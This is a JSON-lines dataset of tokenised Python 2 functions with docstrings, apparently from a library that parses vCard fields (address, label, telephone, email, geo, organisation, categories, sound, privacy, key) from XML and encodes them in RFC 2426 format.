{"signature": "def __init__(self,name,value,rfc2425parameters=None):", "body": "VCardField.__init__(self,name)<EOL>if not rfc2425parameters:<EOL><INDENT>rfc2425parameters={}<EOL><DEDENT>if self.name.upper()!=\"<STR_LIT>\":<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>(self.pobox,self.extadr,self.street,self.locality,<EOL>self.region,self.pcode,self.ctry)=[\"<STR_LIT>\"]*<NUM_LIT:7><EOL>self.type=[]<EOL>if isinstance(value,libxml2.xmlNode):<EOL><INDENT>self.__from_xml(value)<EOL><DEDENT>else:<EOL><INDENT>t=rfc2425parameters.get(\"<STR_LIT:type>\")<EOL>if t:<EOL><INDENT>self.type=t.split(\"<STR_LIT:U+002C>\")<EOL><DEDENT>else:<EOL><INDENT>self.type=[\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\"]<EOL><DEDENT>v=non_quoted_semicolon_re.split(value)<EOL>value=[\"<STR_LIT>\"]*<NUM_LIT:7><EOL>value[:len(v)]=v<EOL>(self.pobox,self.extadr,self.street,self.locality,<EOL>self.region,self.pcode,self.ctry)=(<EOL>unquote_semicolon(val) for val in value)<EOL><DEDENT>", "docstring": "Initialize a `VCardAdr` object.\n\n        :Parameters:\n            - `name`: field name\n            - `value`: field value as string or an XML node\n            - `rfc2425parameters`: optional RFC 2425 parameters\n        :Types:\n            - `name`: `str`\n            - `value`: `str` or `libxml2.xmlNode`\n            - `rfc2425parameters`: `dict`", "id": "f15257:c7:m0"}
{"signature": "def __from_xml(self,value):", "body": "n=value.children<EOL>vns=get_node_ns(value)<EOL>while n:<EOL><INDENT>if n.type!='<STR_LIT>':<EOL><INDENT>n=n.next<EOL>continue<EOL><DEDENT>ns=get_node_ns(n)<EOL>if (ns and vns and ns.getContent()!=vns.getContent()):<EOL><INDENT>n=n.next<EOL>continue<EOL><DEDENT>if n.name=='<STR_LIT>':<EOL><INDENT>self.pobox=unicode(n.getContent(),\"<STR_LIT:utf-8>\",\"<STR_LIT:replace>\")<EOL><DEDENT>elif n.name in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>self.extadr=unicode(n.getContent(),\"<STR_LIT:utf-8>\",\"<STR_LIT:replace>\")<EOL><DEDENT>elif n.name=='<STR_LIT>':<EOL><INDENT>self.street=unicode(n.getContent(),\"<STR_LIT:utf-8>\",\"<STR_LIT:replace>\")<EOL><DEDENT>elif n.name=='<STR_LIT>':<EOL><INDENT>self.locality=unicode(n.getContent(),\"<STR_LIT:utf-8>\",\"<STR_LIT:replace>\")<EOL><DEDENT>elif n.name=='<STR_LIT>':<EOL><INDENT>self.region=unicode(n.getContent(),\"<STR_LIT:utf-8>\",\"<STR_LIT:replace>\")<EOL><DEDENT>elif n.name=='<STR_LIT>':<EOL><INDENT>self.pcode=unicode(n.getContent(),\"<STR_LIT:utf-8>\",\"<STR_LIT:replace>\")<EOL><DEDENT>elif n.name=='<STR_LIT>':<EOL><INDENT>self.ctry=unicode(n.getContent(),\"<STR_LIT:utf-8>\",\"<STR_LIT:replace>\")<EOL><DEDENT>elif n.name in (\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",<EOL>\"<STR_LIT>\"):<EOL><INDENT>self.type.append(n.name.lower())<EOL><DEDENT>n=n.next<EOL><DEDENT>if self.type==[]:<EOL><INDENT>self.type=[\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\"]<EOL><DEDENT>elif \"<STR_LIT>\" in self.type and \"<STR_LIT>\" in self.type:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Initialize a `VCardAdr` object from and XML element.\n\n        :Parameters:\n            - `value`: field value as an XML node\n        :Types:\n            - `value`: `libxml2.xmlNode`", "id": "f15257:c7:m1"}
{"signature": "def rfc2426(self):", "body": "return rfc2425encode(\"<STR_LIT>\",u'<STR_LIT:;>'.join(quote_semicolon(val) for val in<EOL>(self.pobox,self.extadr,self.street,self.locality,<EOL>self.region,self.pcode,self.ctry)),<EOL>{\"<STR_LIT:type>\":\"<STR_LIT:U+002C>\".join(self.type)})<EOL>", "docstring": "RFC2426-encode the field content.\n\n        :return: the field in the RFC 2426 format.\n        :returntype: `str`", "id": "f15257:c7:m2"}
{"signature": "def as_xml(self,parent):", "body": "n=parent.newChild(None,\"<STR_LIT>\",None)<EOL>for t in (\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\"):<EOL><INDENT>if t in self.type:<EOL><INDENT>n.newChild(None,t.upper(),None)<EOL><DEDENT><DEDENT>n.newTextChild(None,\"<STR_LIT>\",to_utf8(self.pobox))<EOL>n.newTextChild(None,\"<STR_LIT>\",to_utf8(self.extadr))<EOL>n.newTextChild(None,\"<STR_LIT>\",to_utf8(self.street))<EOL>n.newTextChild(None,\"<STR_LIT>\",to_utf8(self.locality))<EOL>n.newTextChild(None,\"<STR_LIT>\",to_utf8(self.region))<EOL>n.newTextChild(None,\"<STR_LIT>\",to_utf8(self.pcode))<EOL>n.newTextChild(None,\"<STR_LIT>\",to_utf8(self.ctry))<EOL>return n<EOL>", "docstring": "Create vcard-tmp XML representation of the field.\n\n        :Parameters:\n            - `parent`: parent node for the element\n        :Types:\n            - `parent`: `libxml2.xmlNode`\n\n        :return: xml node with the field data.\n        :returntype: `libxml2.xmlNode`", "id": "f15257:c7:m3"}
{"signature": "def __init__(self,name,value,rfc2425parameters=None):", "body": "VCardField.__init__(self,name)<EOL>if not rfc2425parameters:<EOL><INDENT>rfc2425parameters={}<EOL><DEDENT>if self.name.upper()!=\"<STR_LIT>\":<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>if isinstance(value,libxml2.xmlNode):<EOL><INDENT>self.lines=[]<EOL>self.type=[]<EOL>n=value.children<EOL>vns=get_node_ns(value)<EOL>while n:<EOL><INDENT>if n.type!='<STR_LIT>':<EOL><INDENT>n=n.next<EOL>continue<EOL><DEDENT>ns=get_node_ns(n)<EOL>if (ns and vns and ns.getContent()!=vns.getContent()):<EOL><INDENT>n=n.next<EOL>continue<EOL><DEDENT>if n.name=='<STR_LIT>':<EOL><INDENT>l=unicode(n.getContent(),\"<STR_LIT:utf-8>\",\"<STR_LIT:replace>\").strip()<EOL>l=l.replace(\"<STR_LIT:\\n>\",\"<STR_LIT:U+0020>\").replace(\"<STR_LIT:\\r>\",\"<STR_LIT:U+0020>\")<EOL>self.lines.append(l)<EOL><DEDENT>elif n.name in (\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",<EOL>\"<STR_LIT>\"):<EOL><INDENT>self.type.append(n.name.lower())<EOL><DEDENT>n=n.next<EOL><DEDENT>if self.type==[]:<EOL><INDENT>self.type=[\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\"]<EOL><DEDENT>elif \"<STR_LIT>\" in self.type and \"<STR_LIT>\" in self.type:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not self.lines:<EOL><INDENT>self.lines=[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>t=rfc2425parameters.get(\"<STR_LIT:type>\")<EOL>if t:<EOL><INDENT>self.type=t.split(\"<STR_LIT:U+002C>\")<EOL><DEDENT>else:<EOL><INDENT>self.type=[\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\"]<EOL><DEDENT>self.lines=value.split(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Initialize a `VCardLabel` object.\n\n        :Parameters:\n            - `name`: field name\n            - `value`: field value as string or an XML node\n            - `rfc2425parameters`: optional RFC 2425 parameters\n        :Types:\n            - `name`: `str`\n            - `value`: `str` or `libxml2.xmlNode`\n            - `rfc2425parameters`: `dict`", "id": "f15257:c8:m0"}
{"signature": "def rfc2426(self):", "body": "return rfc2425encode(\"<STR_LIT:label>\",u\"<STR_LIT:\\n>\".join(self.lines),<EOL>{\"<STR_LIT:type>\":\"<STR_LIT:U+002C>\".join(self.type)})<EOL>", "docstring": "RFC2426-encode the field content.\n\n        :return: the field in the RFC 2426 format.\n        :returntype: `str`", "id": "f15257:c8:m1"}
{"signature": "def as_xml(self,parent):", "body": "n=parent.newChild(None,\"<STR_LIT>\",None)<EOL>for t in (\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\"):<EOL><INDENT>if t in self.type:<EOL><INDENT>n.newChild(None,t.upper(),None)<EOL><DEDENT><DEDENT>for l in self.lines:<EOL><INDENT>n.newTextChild(None,\"<STR_LIT>\",l)<EOL><DEDENT>return n<EOL>", "docstring": "Create vcard-tmp XML representation of the field.\n\n        :Parameters:\n            - `parent`: parent node for the element\n        :Types:\n            - `parent`: `libxml2.xmlNode`\n\n        :return: xml node with the field data.\n        :returntype: `libxml2.xmlNode`", "id": "f15257:c8:m2"}
{"signature": "def __init__(self,name,value,rfc2425parameters=None):", "body": "VCardField.__init__(self,name)<EOL>if not rfc2425parameters:<EOL><INDENT>rfc2425parameters={}<EOL><DEDENT>if self.name.upper()!=\"<STR_LIT>\":<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>if isinstance(value,libxml2.xmlNode):<EOL><INDENT>self.number=None<EOL>self.type=[]<EOL>n=value.children<EOL>vns=get_node_ns(value)<EOL>while n:<EOL><INDENT>if n.type!='<STR_LIT>':<EOL><INDENT>n=n.next<EOL>continue<EOL><DEDENT>ns=get_node_ns(n)<EOL>if (ns and vns and ns.getContent()!=vns.getContent()):<EOL><INDENT>n=n.next<EOL>continue<EOL><DEDENT>if n.name=='<STR_LIT>':<EOL><INDENT>self.number=unicode(n.getContent(),\"<STR_LIT:utf-8>\",\"<STR_LIT:replace>\")<EOL><DEDENT>elif n.name in (\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",<EOL>\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",<EOL>\"<STR_LIT>\"):<EOL><INDENT>self.type.append(n.name.lower())<EOL><DEDENT>n=n.next<EOL><DEDENT>if self.type==[]:<EOL><INDENT>self.type=[\"<STR_LIT>\"]<EOL><DEDENT>if not self.number:<EOL><INDENT>raise Empty(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>t=rfc2425parameters.get(\"<STR_LIT:type>\")<EOL>if t:<EOL><INDENT>self.type=t.split(\"<STR_LIT:U+002C>\")<EOL><DEDENT>else:<EOL><INDENT>self.type=[\"<STR_LIT>\"]<EOL><DEDENT>self.number=value<EOL><DEDENT>", "docstring": "Initialize a `VCardTel` object.\n\n        :Parameters:\n            - `name`: field name\n            - `value`: field value as string or an XML node\n            - `rfc2425parameters`: optional RFC 2425 parameters\n        :Types:\n            - `name`: `str`\n            - `value`: `str` or `libxml2.xmlNode`\n            - `rfc2425parameters`: `dict`", "id": "f15257:c9:m0"}
{"signature": "def rfc2426(self):", "body": "return rfc2425encode(\"<STR_LIT>\",self.number,{\"<STR_LIT:type>\":\"<STR_LIT:U+002C>\".join(self.type)})<EOL>", "docstring": "RFC2426-encode the field content.\n\n        :return: the field in the RFC 2426 format.\n        :returntype: `str`", "id": "f15257:c9:m1"}
{"signature": "def as_xml(self,parent):", "body": "n=parent.newChild(None,\"<STR_LIT>\",None)<EOL>for t in (\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",<EOL>\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\"):<EOL><INDENT>if t in self.type:<EOL><INDENT>n.newChild(None,t.upper(),None)<EOL><DEDENT><DEDENT>n.newTextChild(None,\"<STR_LIT>\",to_utf8(self.number))<EOL>return n<EOL>", "docstring": "Create vcard-tmp XML representation of the field.\n\n        :Parameters:\n            - `parent`: parent node for the element\n        :Types:\n            - `parent`: `libxml2.xmlNode`\n\n        :return: xml node with the field data.\n        :returntype: `libxml2.xmlNode`", "id": "f15257:c9:m2"}
{"signature": "def __init__(self,name,value,rfc2425parameters=None):", "body": "VCardField.__init__(self,name)<EOL>if not rfc2425parameters:<EOL><INDENT>rfc2425parameters={}<EOL><DEDENT>if self.name.upper()!=\"<STR_LIT>\":<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>if isinstance(value,libxml2.xmlNode):<EOL><INDENT>self.address=None<EOL>self.type=[]<EOL>n=value.children<EOL>vns=get_node_ns(value)<EOL>while n:<EOL><INDENT>if n.type!='<STR_LIT>':<EOL><INDENT>n=n.next<EOL>continue<EOL><DEDENT>ns=get_node_ns(n)<EOL>if (ns and vns and ns.getContent()!=vns.getContent()):<EOL><INDENT>n=n.next<EOL>continue<EOL><DEDENT>if n.name=='<STR_LIT>':<EOL><INDENT>self.address=unicode(n.getContent(),\"<STR_LIT:utf-8>\",\"<STR_LIT:replace>\")<EOL><DEDENT>elif n.name in (\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\"):<EOL><INDENT>self.type.append(n.name.lower())<EOL><DEDENT>n=n.next<EOL><DEDENT>if self.type==[]:<EOL><INDENT>self.type=[\"<STR_LIT>\"]<EOL><DEDENT>if not self.address:<EOL><INDENT>raise Empty(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>t=rfc2425parameters.get(\"<STR_LIT:type>\")<EOL>if t:<EOL><INDENT>self.type=t.split(\"<STR_LIT:U+002C>\")<EOL><DEDENT>else:<EOL><INDENT>self.type=[\"<STR_LIT>\"]<EOL><DEDENT>self.address=value<EOL><DEDENT>", "docstring": "Initialize a `VCardEmail` object.\n\n        :Parameters:\n            - `name`: field name\n            - `value`: field value as string or an XML node\n            - `rfc2425parameters`: optional RFC 2425 parameters\n        :Types:\n            - `name`: `str`\n            - `value`: `str` or `libxml2.xmlNode`\n            - `rfc2425parameters`: `dict`", "id": "f15257:c10:m0"}
{"signature": "def rfc2426(self):", "body": "return rfc2425encode(\"<STR_LIT:email>\",self.address,{\"<STR_LIT:type>\":\"<STR_LIT:U+002C>\".join(self.type)})<EOL>", "docstring": "RFC2426-encode the field content.\n\n        :return: the field in the RFC 2426 format.\n        :returntype: `str`", "id": "f15257:c10:m1"}
{"signature": "def as_xml(self,parent):", "body": "n=parent.newChild(None,\"<STR_LIT>\",None)<EOL>for t in (\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\"):<EOL><INDENT>if t in self.type:<EOL><INDENT>n.newChild(None,t.upper(),None)<EOL><DEDENT><DEDENT>n.newTextChild(None,\"<STR_LIT>\",to_utf8(self.address))<EOL>return n<EOL>", "docstring": "Create vcard-tmp XML representation of the field.\n\n        :Parameters:\n            - `parent`: parent node for the element\n        :Types:\n            - `parent`: `libxml2.xmlNode`\n\n        :return: xml node with the field data.\n        :returntype: `libxml2.xmlNode`", "id": "f15257:c10:m2"}
{"signature": "def __init__(self,name,value,rfc2425parameters=None):", "body": "_unused = rfc2425parameters<EOL>VCardField.__init__(self,name)<EOL>if self.name.upper()!=\"<STR_LIT>\":<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>if isinstance(value,libxml2.xmlNode):<EOL><INDENT>self.lat,self.lon=[None]*<NUM_LIT:2><EOL>n=value.children<EOL>vns=get_node_ns(value)<EOL>while n:<EOL><INDENT>if n.type!='<STR_LIT>':<EOL><INDENT>n=n.next<EOL>continue<EOL><DEDENT>ns=get_node_ns(n)<EOL>if (ns and vns and ns.getContent()!=vns.getContent()):<EOL><INDENT>n=n.next<EOL>continue<EOL><DEDENT>if n.name=='<STR_LIT>':<EOL><INDENT>self.lat=unicode(n.getContent(),\"<STR_LIT:utf-8>\")<EOL><DEDENT>if n.name=='<STR_LIT>':<EOL><INDENT>self.lon=unicode(n.getContent(),\"<STR_LIT:utf-8>\")<EOL><DEDENT>n=n.next<EOL><DEDENT>if not self.lat or not self.lon:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.lat,self.lon=(unquote_semicolon(val) for val in non_quoted_semicolon_re.split(value))<EOL><DEDENT>", "docstring": "Initialize a `VCardGeo` object.\n\n        :Parameters:\n            - `name`: field name\n            - `value`: field value as string or an XML node\n            - `rfc2425parameters`: optional RFC 2425 parameters\n        :Types:\n            - `name`: `str`\n            - `value`: `str` or `libxml2.xmlNode`\n            - `rfc2425parameters`: `dict`", "id": "f15257:c11:m0"}
{"signature": "def rfc2426(self):", "body": "return rfc2425encode(\"<STR_LIT>\",u'<STR_LIT:;>'.join(quote_semicolon(val) for val in<EOL>(self.lat,self.lon)))<EOL>", "docstring": "RFC2426-encode the field content.\n\n        :return: the field in the RFC 2426 format.\n        :returntype: `str`", "id": "f15257:c11:m1"}
{"signature": "def as_xml(self,parent):", "body": "n=parent.newChild(None,\"<STR_LIT>\",None)<EOL>n.newTextChild(None,\"<STR_LIT>\",to_utf8(self.lat))<EOL>n.newTextChild(None,\"<STR_LIT>\",to_utf8(self.lon))<EOL>return n<EOL>", "docstring": "Create vcard-tmp XML representation of the field.\n\n        :Parameters:\n            - `parent`: parent node for the element\n        :Types:\n            - `parent`: `libxml2.xmlNode`\n\n        :return: xml node with the field data.\n        :returntype: `libxml2.xmlNode`", "id": "f15257:c11:m2"}
{"signature": "def __init__(self,name,value,rfc2425parameters=None):", "body": "_unused = rfc2425parameters<EOL>VCardField.__init__(self,name)<EOL>if self.name.upper()!=\"<STR_LIT>\":<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>if isinstance(value,libxml2.xmlNode):<EOL><INDENT>self.name,self.unit=None,\"<STR_LIT>\"<EOL>n=value.children<EOL>vns=get_node_ns(value)<EOL>while n:<EOL><INDENT>if n.type!='<STR_LIT>':<EOL><INDENT>n=n.next<EOL>continue<EOL><DEDENT>ns=get_node_ns(n)<EOL>if (ns and vns and ns.getContent()!=vns.getContent()):<EOL><INDENT>n=n.next<EOL>continue<EOL><DEDENT>if n.name=='<STR_LIT>':<EOL><INDENT>self.name=unicode(n.getContent(),\"<STR_LIT:utf-8>\")<EOL><DEDENT>if n.name=='<STR_LIT>':<EOL><INDENT>self.unit=unicode(n.getContent(),\"<STR_LIT:utf-8>\")<EOL><DEDENT>n=n.next<EOL><DEDENT>if not self.name:<EOL><INDENT>raise Empty(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>sp=non_quoted_semicolon_re.split(value,<NUM_LIT:1>)<EOL>if len(sp)><NUM_LIT:1>:<EOL><INDENT>self.name,self.unit=(unquote_semicolon(val) for val in sp)<EOL><DEDENT>else:<EOL><INDENT>self.name=unquote_semicolon(sp[<NUM_LIT:0>])<EOL>self.unit=None<EOL><DEDENT><DEDENT>", "docstring": "Initialize a `VCardOrg` object.\n\n        :Parameters:\n            - `name`: field name\n            - `value`: field value as string or an XML node\n            - `rfc2425parameters`: optional RFC 2425 parameters\n        :Types:\n            - `name`: `str`\n            - `value`: `str` or `libxml2.xmlNode`\n            - `rfc2425parameters`: `dict`", "id": "f15257:c12:m0"}
{"signature": "def rfc2426(self):", "body": "if self.unit:<EOL><INDENT>return rfc2425encode(\"<STR_LIT>\",u'<STR_LIT:;>'.join(quote_semicolon(val) for val in<EOL>(self.name,self.unit)))<EOL><DEDENT>else:<EOL><INDENT>return rfc2425encode(\"<STR_LIT>\",unicode(quote_semicolon(self.name)))<EOL><DEDENT>", "docstring": "RFC2426-encode the field content.\n\n        :return: the field in the RFC 2426 format.\n        :returntype: `str`", "id": "f15257:c12:m1"}
{"signature": "def as_xml(self,parent):", "body": "n=parent.newChild(None,\"<STR_LIT>\",None)<EOL>n.newTextChild(None,\"<STR_LIT>\",to_utf8(self.name))<EOL>n.newTextChild(None,\"<STR_LIT>\",to_utf8(self.unit))<EOL>return n<EOL>", "docstring": "Create vcard-tmp XML representation of the field.\n\n        :Parameters:\n            - `parent`: parent node for the element\n        :Types:\n            - `parent`: `libxml2.xmlNode`\n\n        :return: xml node with the field data.\n        :returntype: `libxml2.xmlNode`", "id": "f15257:c12:m2"}
{"signature": "def __init__(self,name,value,rfc2425parameters=None):", "body": "_unused = rfc2425parameters<EOL>VCardField.__init__(self,name)<EOL>self.name=name<EOL>if self.name.upper()!=\"<STR_LIT>\":<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>if isinstance(value,libxml2.xmlNode):<EOL><INDENT>self.keywords=[]<EOL>n=value.children<EOL>vns=get_node_ns(value)<EOL>while n:<EOL><INDENT>if n.type!='<STR_LIT>':<EOL><INDENT>n=n.next<EOL>continue<EOL><DEDENT>ns=get_node_ns(n)<EOL>if (ns and vns and ns.getContent()!=vns.getContent()):<EOL><INDENT>n=n.next<EOL>continue<EOL><DEDENT>if n.name=='<STR_LIT>':<EOL><INDENT>self.keywords.append(unicode(n.getContent(),\"<STR_LIT:utf-8>\"))<EOL><DEDENT>n=n.next<EOL><DEDENT>if not self.keywords:<EOL><INDENT>raise Empty(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.keywords=value.split(\"<STR_LIT:U+002C>\")<EOL><DEDENT>", "docstring": "Initialize a `VCardCategories` object.\n\n        :Parameters:\n            - `name`: field name\n            - `value`: field value as string or an XML node\n            - `rfc2425parameters`: optional RFC 2425 parameters\n        :Types:\n            - `name`: `str`\n            - `value`: `str` or `libxml2.xmlNode`\n            - `rfc2425parameters`: `dict`", "id": "f15257:c13:m0"}
{"signature": "def rfc2426(self):", "body": "return rfc2425encode(\"<STR_LIT>\",u\"<STR_LIT:U+002C>\".join(self.keywords))<EOL>", "docstring": "RFC2426-encode the field content.\n\n        :return: the field in the RFC 2426 format.\n        :returntype: `str`", "id": "f15257:c13:m1"}
{"signature": "def as_xml(self,parent):", "body": "n=parent.newChild(None,\"<STR_LIT>\",None)<EOL>for k in self.keywords:<EOL><INDENT>n.newTextChild(None,\"<STR_LIT>\",to_utf8(k))<EOL><DEDENT>return n<EOL>", "docstring": "Create vcard-tmp XML representation of the field.\n\n        :Parameters:\n            - `parent`: parent node for the element\n        :Types:\n            - `parent`: `libxml2.xmlNode`\n\n        :return: xml node with the field data.\n        :returntype: `libxml2.xmlNode`", "id": "f15257:c13:m2"}
{"signature": "def __init__(self,name,value,rfc2425parameters=None):", "body": "VCardField.__init__(self,name)<EOL>if not rfc2425parameters:<EOL><INDENT>rfc2425parameters={}<EOL><DEDENT>self.uri,self.sound,self.phonetic=[None]*<NUM_LIT:3><EOL>if isinstance(value,libxml2.xmlNode):<EOL><INDENT>n=value.children<EOL>vns=get_node_ns(value)<EOL>while n:<EOL><INDENT>if n.type!='<STR_LIT>':<EOL><INDENT>n=n.next<EOL>continue<EOL><DEDENT>ns=get_node_ns(n)<EOL>if (ns and vns and ns.getContent()!=vns.getContent()):<EOL><INDENT>n=n.next<EOL>continue<EOL><DEDENT>if n.name=='<STR_LIT>':<EOL><INDENT>if (self.phonetic or self.uri):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self.sound=base64.decodestring(n.getContent())<EOL><DEDENT>if n.name=='<STR_LIT>':<EOL><INDENT>if (self.sound or self.uri):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self.phonetic=unicode(n.getContent(),\"<STR_LIT:utf-8>\",\"<STR_LIT:replace>\")<EOL><DEDENT>if n.name=='<STR_LIT>':<EOL><INDENT>if (self.phonetic or self.sound):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self.uri=unicode(n.getContent(),\"<STR_LIT:utf-8>\",\"<STR_LIT:replace>\")<EOL><DEDENT>n=n.next<EOL><DEDENT>if (not self.phonetic and not self.uri and not self.sound):<EOL><INDENT>raise Empty(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if rfc2425parameters.get(\"<STR_LIT:value>\", \"<STR_LIT>\").lower()==\"<STR_LIT>\":<EOL><INDENT>self.uri=value<EOL>self.sound=None<EOL>self.phonetic=None<EOL><DEDENT>else:<EOL><INDENT>self.sound=value<EOL>self.uri=None<EOL>self.phonetic=None<EOL><DEDENT><DEDENT>", "docstring": "Initialize a `VCardSound` object.\n\n        :Parameters:\n            - `name`: field name\n            - `value`: field value as string or an XML node\n            - `rfc2425parameters`: optional RFC 2425 parameters\n        :Types:\n            - `name`: `str`\n            - `value`: `str` or `libxml2.xmlNode`\n            - `rfc2425parameters`: `dict`", "id": "f15257:c14:m0"}
{"signature": "def rfc2426(self):", "body": "if self.uri:<EOL><INDENT>return rfc2425encode(self.name,self.uri,{\"<STR_LIT:value>\":\"<STR_LIT>\"})<EOL><DEDENT>elif self.sound:<EOL><INDENT>return rfc2425encode(self.name,self.sound)<EOL><DEDENT>", "docstring": "RFC2426-encode the field content.\n\n        :return: the field in the RFC 2426 format.\n        :returntype: `str`", "id": "f15257:c14:m1"}
{"signature": "def as_xml(self,parent):", "body": "n=parent.newChild(None,self.name.upper(),None)<EOL>if self.uri:<EOL><INDENT>n.newTextChild(None,\"<STR_LIT>\",to_utf8(self.uri))<EOL><DEDENT>elif self.phonetic:<EOL><INDENT>n.newTextChild(None,\"<STR_LIT>\",to_utf8(self.phonetic))<EOL><DEDENT>else:<EOL><INDENT>n.newTextChild(None,\"<STR_LIT>\",binascii.b2a_base64(self.sound))<EOL><DEDENT>return n<EOL>", "docstring": "Create vcard-tmp XML representation of the field.\n\n        :Parameters:\n            - `parent`: parent node for the element\n        :Types:\n            - `parent`: `libxml2.xmlNode`\n\n        :return: xml node with the field data.\n        :returntype: `libxml2.xmlNode`", "id": "f15257:c14:m2"}
{"signature": "def __init__(self,name,value,rfc2425parameters=None):", "body": "_unused = rfc2425parameters<EOL>VCardField.__init__(self,name)<EOL>if isinstance(value,libxml2.xmlNode):<EOL><INDENT>self.value=None<EOL>n=value.children<EOL>vns=get_node_ns(value)<EOL>while n:<EOL><INDENT>if n.type!='<STR_LIT>':<EOL><INDENT>n=n.next<EOL>continue<EOL><DEDENT>ns=get_node_ns(n)<EOL>if (ns and vns and ns.getContent()!=vns.getContent()):<EOL><INDENT>n=n.next<EOL>continue<EOL><DEDENT>if n.name=='<STR_LIT>':<EOL><INDENT>self.value=\"<STR_LIT>\"<EOL><DEDENT>elif n.name=='<STR_LIT>':<EOL><INDENT>self.value=\"<STR_LIT>\"<EOL><DEDENT>elif n.name=='<STR_LIT>':<EOL><INDENT>self.value=\"<STR_LIT>\"<EOL><DEDENT>n=n.next<EOL><DEDENT>if not self.value:<EOL><INDENT>raise Empty<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.value=value<EOL><DEDENT>", "docstring": "Initialize a `VCardPrivacy` object.\n\n        :Parameters:\n            - `name`: field name\n            - `value`: field value as string or an XML node\n            - `rfc2425parameters`: optional RFC 2425 parameters\n        :Types:\n            - `name`: `str`\n            - `value`: `str` or `libxml2.xmlNode`\n            - `rfc2425parameters`: `dict`", "id": "f15257:c15:m0"}
{"signature": "def rfc2426(self):", "body": "return rfc2425encode(self.name,self.value)<EOL>", "docstring": "RFC2426-encode the field content.\n\n        :return: the field in the RFC 2426 format.\n        :returntype: `str`", "id": "f15257:c15:m1"}
{"signature": "def as_xml(self,parent):", "body": "if self.value in (\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\"):<EOL><INDENT>n=parent.newChild(None,self.name.upper(),None)<EOL>n.newChild(None,self.value.upper(),None)<EOL>return n<EOL><DEDENT>return None<EOL>", "docstring": "Create vcard-tmp XML representation of the field.\n\n        :Parameters:\n            - `parent`: parent node for the element\n        :Types:\n            - `parent`: `libxml2.xmlNode`\n\n        :return: xml node with the field data.\n        :returntype: `libxml2.xmlNode`", "id": "f15257:c15:m2"}
{"signature": "def __init__(self,name,value,rfc2425parameters=None):", "body": "VCardField.__init__(self,name)<EOL>if not rfc2425parameters:<EOL><INDENT>rfc2425parameters={}<EOL><DEDENT>if isinstance(value,libxml2.xmlNode):<EOL><INDENT>self.type,self.cred=None,None<EOL>n=value.children<EOL>vns=get_node_ns(value)<EOL>while n:<EOL><INDENT>if n.type!='<STR_LIT>':<EOL><INDENT>n=n.next<EOL>continue<EOL><DEDENT>ns=get_node_ns(n)<EOL>if (ns and vns and ns.getContent()!=vns.getContent()):<EOL><INDENT>n=n.next<EOL>continue<EOL><DEDENT>if n.name=='<STR_LIT>':<EOL><INDENT>self.type=unicode(n.getContent(),\"<STR_LIT:utf-8>\",\"<STR_LIT:replace>\")<EOL><DEDENT>if n.name=='<STR_LIT>':<EOL><INDENT>self.cred=base64.decodestring(n.getContent())<EOL><DEDENT>n=n.next<EOL><DEDENT>if not self.cred:<EOL><INDENT>raise Empty(\"<STR_LIT>\" % (name,))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.type=rfc2425parameters.get(\"<STR_LIT:type>\")<EOL>self.cred=value<EOL><DEDENT>", "docstring": "Initialize a `VCardKey` object.\n\n        :Parameters:\n            - `name`: field name\n            - `value`: field value as string or an XML node\n            - `rfc2425parameters`: optional RFC 2425 parameters\n        